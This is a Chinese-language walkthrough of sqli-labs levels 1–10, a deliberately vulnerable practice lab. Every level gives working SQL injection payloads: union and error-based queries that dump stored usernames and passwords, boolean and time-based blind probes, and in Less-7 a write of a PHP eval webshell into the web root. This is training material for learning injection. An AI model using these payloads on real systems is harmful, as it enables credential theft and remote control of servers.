sqli-labs 1-10
Less-1
1、根据题目构造?id=1,页面回显出当前登录名和密码,再根据题目名就知道这是一个单引号字符型注入,加个单引号试试,发现页面回显不正常,并报错这是MySql数据库,再将单引号闭合发现页面回显又正常了,基本可以证明。
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528173741759-1530097052.png)
2、知道是什么类型的注入之后,接着使用联合查询注入判断该表中有几列字段,当输入查询1或2个字段时出现错误信息。
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528173829119-638109700.png)
3、查询3个字段时恢复正常,查询4个时又报错,说明此表有3个字段。
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174038275-840657073.png)
4、将id值改成一个数据库可能不存在的值,得到2、3两个显示位。
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174156820-1194533016.png)
5、在一系列查询之后,得到了用户名字段为username,密码字段为password,查询到所有的用户名和密码:
'union select 1,2,(select group_concat('--',username,'~',password) from security.users)+--+
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174241503-1360401728.png)
Less-2
1、在输入两个单引号之后发现页面依然报错,考虑一下可能是数字型注入。
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174324846-115967827.png)
2、输入1 and 1=1之后发现页面回显正常,输入1 and 1=2之后发现未有错误显示,于是判断是数字型注入。
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174353669-227321134.png)
3、同样使用联合查询获取用户名和密码:
0 union select 1,2,(select group_concat(username,"$",password) from security.users)+--+
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174423651-1272265368.png)
Less-3
1、同Less-1的方法判断是字符型注入,不同的是闭合字符是单引号加括号。
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174455991-349070751.png)
2、同样使用联合查询获取用户名和密码:
') union select 1,2,(select group_concat('--',username,'~',password) from security.users)+--+
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174511529-1219403313.png)
Less-4
1、同Less-1的方法判断是字符型注入,不同的是闭合字符是双引号加括号。
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174528707-842779715.png)
2、同样使用联合查询获取用户名和密码:
") union select 1,2,(select group_concat('--',username,'~',password) from security.users)+--+
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174544042-1106262975.png)
Less-5
1、同Less-1的方法判断是字符型注入,只不过页面的显示好像有哪里不对?当输入1时显示如下。
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174601599-1223395761.png)
2、输入0时啥也没显示,说明页面没有显示位,无法使用联合查询方法注入。
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174613134-1542293165.png)
3、那么使用报错注入获取用户名和密码:
'and (updatexml(1,concat(0x7e,(select concat(username,'/',password) from security.users limit 0,1),0x7e),1))='1
因为报错函数updatexml限制了输出字符最长为32位,所以只能使用concat函数配合limit一个一个地输出。
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174701360-1527556.png)
Less-6
1、同Less-5是字符型注入且没有显示位,与之不同的是闭合字符是双引号。
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174739377-557479142.png)
2、同样使用报错注入获取用户名和密码:
"and (updatexml(1,concat(0x7e,(select concat(username,'/',password) from security.users limit 0,1),0x7e),1))="1
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174758684-1689175745.png)
Less-7
1、反复试验之后发现闭合字符是一个单括号加两个小括号,然后可以看到页面上提示说Use outfile,就是使用outfile将一句话木马写入文件。
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174816357-1269640486.png)
2、首先尝试写入文件:
-1')) union select 1,2,3 into outfile "D:\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php"+--+
但是发现并没有写入成功,说明还未获得文件写入权限。
3、于是打开mysql命令行,输入:
show variables like '%secure%';
查看secure-file-priv 当前的值,可以看到当前值为NULL,接着打开phpstudy_proExtensionsMySQL5.7.26目录下的my.ini文件,插入一句话:
secure_file_priv="/"
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174846564-1636527045.png)
4、保存之后重启phpstudy,再次在mysql命令行查看secure-file-priv 的值,此时Value里有内容了,说明修改成功,可以进行读写了。
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174856073-1577846312.png)
5、再次执行第2步,可以看到文件写入成功。
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174906706-185005629.png)
6、试验成功之后就可以写入webshell了,已经知道编程语言是php,则可以使用一句话木马:
<?php @eval($_POST['sql']);?>
构造poc:
-1')) union select 1,2,"<?php @eval($_POST['sql']);?>" into outfile "D:\phpstudy_pro\WWW\sqli-labs-master\Less-7\poc.php"--+
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174921993-1991260767.png)
7、可以看到写入成功了,此时打开Cknife连接成功。
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174935643-1317380475.png)
Less-8
1、单引号尝试之后发现页面正确时显示You are in,非正常时啥也不显示,因此判断为布尔盲注,可以通过字符长度来判断真假,于是打开bp抓包,构造poc:
1'+and+if(substr("nice",1,1)="e",1,0)--+
此时页面啥也没显示
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528174950089-140660782.png)
但当输入正确时:
1'+and+if(substr("nice",1,1)="n",1,0)--+
页面回显正常,则可以使用if函数注入
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528175022267-1396482198.png)
2、接下来构造获取数据库信息的poc:
1'+and+if(substr(database(),1,1)="a",1,0)--+
发送到Intruder,进行交叉爆破
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528175038167-824681204.png)
设置好payload之后开始爆破,排序一下可以看到得到的数据库名称
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528175050108-636060675.png)
Less-9
1、已知该题是个时间盲注问题,那么尝试构造poc:
1'+and+if(substr(database(),1,1)="a",sleep(5),sleep(1))--+
2、像Less-8一样进行爆破,不过可以看到长度无任何变化,这时我们需要查看响应时间,点击最上面一栏的列字段,将接受响应计数勾上
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528175118020-1007565379.png)
3、这时我们就能得到数据库名称了
![](https://img2020.cnblogs.com/blog/1709841/202005/1709841-20200528175127977-78308691.png)
Less-10
1、该题同Less-9一样是个时间盲注,不同的是闭合字符为双引号,构造poc:
1"+and+if(substr(database(),1,1)="s",sleep(5),sleep(1))--+